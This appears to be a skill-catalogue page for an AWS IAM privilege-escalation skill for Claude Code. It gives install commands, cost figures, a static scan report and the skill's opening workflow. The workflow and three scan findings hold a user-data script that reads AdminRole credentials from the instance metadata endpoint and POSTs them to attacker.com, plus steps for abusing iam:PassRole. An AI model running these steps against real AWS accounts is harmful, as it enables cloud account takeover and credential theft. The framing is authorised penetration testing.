aws-iam-privilege-escalation

aws-iam-privilege-escalation is a skill for Claude Code from akashrpatil/awesome-offensive-security-skills. It costs 80 tokens per session (2,380 once invoked), scanned C, a copy of aws-iam-privilege-escalation, Apache-2.0.

A technique for finding excessive permissions in AWS Identity and Access Management (IAM), which controls who can access cloud resources and what they can do. It examines ways a limited user or role might obtain broader permissions.

In plain words
What is it for?
Use it in an authorised cloud review to inspect identities, policies, role switching, delegated actions, and possible paths to administrator access.
Why use it?
It helps measure the damage a stolen AWS identity could cause when roles, policies, or delegation settings are too permissive.

Skill for Claude Code

Written for Claude Code: shipped in a Claude Code plugin.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patte.

Part of the cyberskills-elite plugin — 191 skills shipped together

Good fit Use it in an authorised cloud review to inspect identities, policies, role switching, delegated actions, and possible paths to administrator access.

Compare 6 skills from other repositories ↓
Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skills
agentmods
npx agentmods add skills/akashrpatil/awesome-offensive-security-skills/aws-iam-privilege-escalation

Made for: Claude Code.

Or install cyberskills-elite, the plugin that ships this one along with the rest of its 191 skills.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for aws-iam-privilege-escalation

README.md
[![agentmods](https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/aws-iam-privilege-escalation/github.svg)](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/aws-iam-privilege-escalation)
Your own site
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/aws-iam-privilege-escalation"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/aws-iam-privilege-escalation/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for aws-iam-privilege-escalation

Your own site · 80×15
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/aws-iam-privilege-escalation"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/aws-iam-privilege-escalation.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 80 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 2,380 The whole file, excluding the scripts and references it only reads on demand.
Security scan C 4 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin 100% copy Near-identical to another mod in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00080 $0.02380
Opus 5 $0.00040 $0.01190
Sonnet 5 $0.00016 $0.00476
Haiku 4.5 $0.00008 $0.00238

Measured 8d ago against content hash ed0084365458, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-12, from the pricing page.

Security

Grade C, and why

aws-iam-privilege-escalation scanned grade C with 4 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.

The scan reads SKILL.md. This mod also ships 1 executable file (scripts/process.py), listed below but not scanned — reading those needs a real analyzer, not pattern matching.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Sends data to an external URLlowData exfiltration

A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.

curl http://attacker.com/log -X POST -d "\$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole)"

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Harvests environment variablesmediumData exfiltration

Enumerating or grepping the environment for keys collects credentials unrelated to what the mod says it does.

1. Extract the credentials using the SSRF payload targeting `http://169.254.169.254/latest/meta-data/iam/security-credentials/developer-tier-1`.

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Cloud metadata endpointmediumServer-side request forgery

One request to 169.254.169.254 can return temporary IAM credentials.

curl http://attacker.com/log -X POST -d "\$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole)"

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl http://attacker.com/log -X POST -d "\$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole)"
Origin

This is a copy

100% identical to aws-iam-privilege-escalation — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

skills/penetration-testing/cloud-security/aws-iam-privilege-escalation/SKILL.md · 200 lines

How it starts

The opening of the file, as written. The whole thing — 200 lines — stays where its author put it; the contents beside it link to each section on GitHub.

AWS IAM Privilege Escalation

When to Use

  • When you have obtained valid AWS credentials (Access Key ID and Secret Access Key), an STS temporary token, or compromised an EC2 instance metadata service (IMDS).
  • To assess the blast radius of a compromised cloud identity.
  • When performing a white-box cloud architecture review or executing a Red Team operation in an AWS environment.

Prerequisites

  • Authorized scope and rules of engagement for the target environment
  • Appropriate tools installed on the attack/analysis platform
  • Understanding of the target technology stack and architecture
  • Documentation template ready for findings and evidence capture

Workflow

Phase 1: Authentication & Enumeration

# Concept: Before escalating, you must understand exactly who you are and what permissions you possess.

# 1. Configure the compromised credentials
export AWS_ACCESS_KEY_ID="AKIA..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..." # If using STS/IMDS

# 2. Identify Current Identity
aws sts get-caller-identity
# Output:
# {
#     "UserId": "AIDAXXXXXXXXXXXXXXX",
#     "Account": "123456789012",
#     "Arn": "arn:aws:iam::123456789012:user/dev-bob"
# }

# 3. Enumerate Attached Policies (If permitted)
aws iam list-attached-user-policies --user-name dev-bob
aws iam list-user-policies --user-name dev-bob

# Note: If `iam:List*` is denied, you must use brute-forcing (e.g., Pacu or Enumerate-IAM) to guess what you can do.

Phase 2: Exploiting iam:PassRole and ec2:RunInstances

# Concept: If a user can pass a role to an EC2 instance AND spin up that instance, 
# they can assign an Administrator role to a new machine and log into it.

# Prerequisite: You discovered the `arn:aws:iam::123456789012:role/AdminRole` exists.

# 1. Create a Startup Script (User Data) to send the Admin credentials to your listener
cat <<EOF > script.sh
#!/bin/bash
curl http://attacker.com/log -X POST -d "\$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole)"
EOF

# 2. Launch the EC2 instance, passing the Admin Role
aws ec2 run-instances \
    --image-id ami-0abcdef1234567890 \
    --instance-type t2.micro \
    --iam-instance-profile Name="AdminRole" \
    --user-data file://script.sh

# 3. Execution:
# The instance boots, assumes the AdminRole via IMDS, and POSTs the temporary, fully-privileged 
# Admin STS tokens directly to your attacker server.

Read the full file on GitHub · 200 lines

Files

What ships with it

2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 8d ago First seen · 200 lines · 80 tokens per session scan C ed0084365458

Subscribe to this mod's changes

aws-iam-privilege-escalation is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (5 stars, last pushed 4mo ago), licensed Apache-2.0. It adds 80 tokens to every session and 2,380 once invoked, about $0.0004 per session on Opus 5. A static security scan graded it C with 4 findings (sends data to an external url, harvests environment variables, cloud metadata endpoint). It is 100% identical to aws-iam-privilege-escalation, differing in 0 lines, and is treated as a copy.

Related

Other skills, from other repositories

aws-iam-privilege-escalation

Identify and exploit misconfigured Identity and Access Management (IAM) permissions within Amazon Web Services (AWS) to escalate privileges. Use this skill to move from a low-privileged compromised IAM user/role (e.g., via SSRF) to full AdministratorAccess by abusing AssumeRole, PassRole, inline policies, or resource…

ShulkwiSEC/bb-huge · 80 tokens

performing-aws-privilege-escalation-assessment

Performing authorized privilege escalation assessments in AWS environments to identify IAM misconfigurations that allow users or roles to elevate their permissions using Pacu, CloudFox, Principal Mapper, and manual IAM policy analysis techniques.

xalgorix/xalgorix · 54 tokens

cloud-iam-deep

GCP/AWS/Azure cloud exploitation -- Cloud Functions, Firestore, Cloud Run, S3, MinIO, Blob Storage, SA keys.

uphiago/recon-skills · 35 tokens

aws-cognito-abuse

Exploit misconfigurations in AWS Cognito, specifically focusing on unauthorized identity pool access, user pool self-registration issues, and privilege escalation via custom attributes to access broader AWS infrastructure.

ShulkwiSEC/bb-huge · 44 tokens

aws-cloud-penetration-testing

Penetration test AWS cloud environments for misconfigurations, privilege escalation, data exposure, and lateral movement. Use this skill when assessing AWS accounts for security weaknesses including S3 bucket misconfigurations, IAM policy flaws, EC2 metadata exploitation, Lambda function abuse, and cross-account…

ShulkwiSEC/bb-huge · 75 tokens

conducting-cloud-infrastructure-penetration-test

Perform a cloud infrastructure penetration test across AWS, Azure, and GCP to identify IAM misconfigurations, exposed storage buckets, insecure serverless functions, and cloud-native attack paths using Pacu, ScoutSuite, and Prowler.

autohandai/community-skills · 57 tokens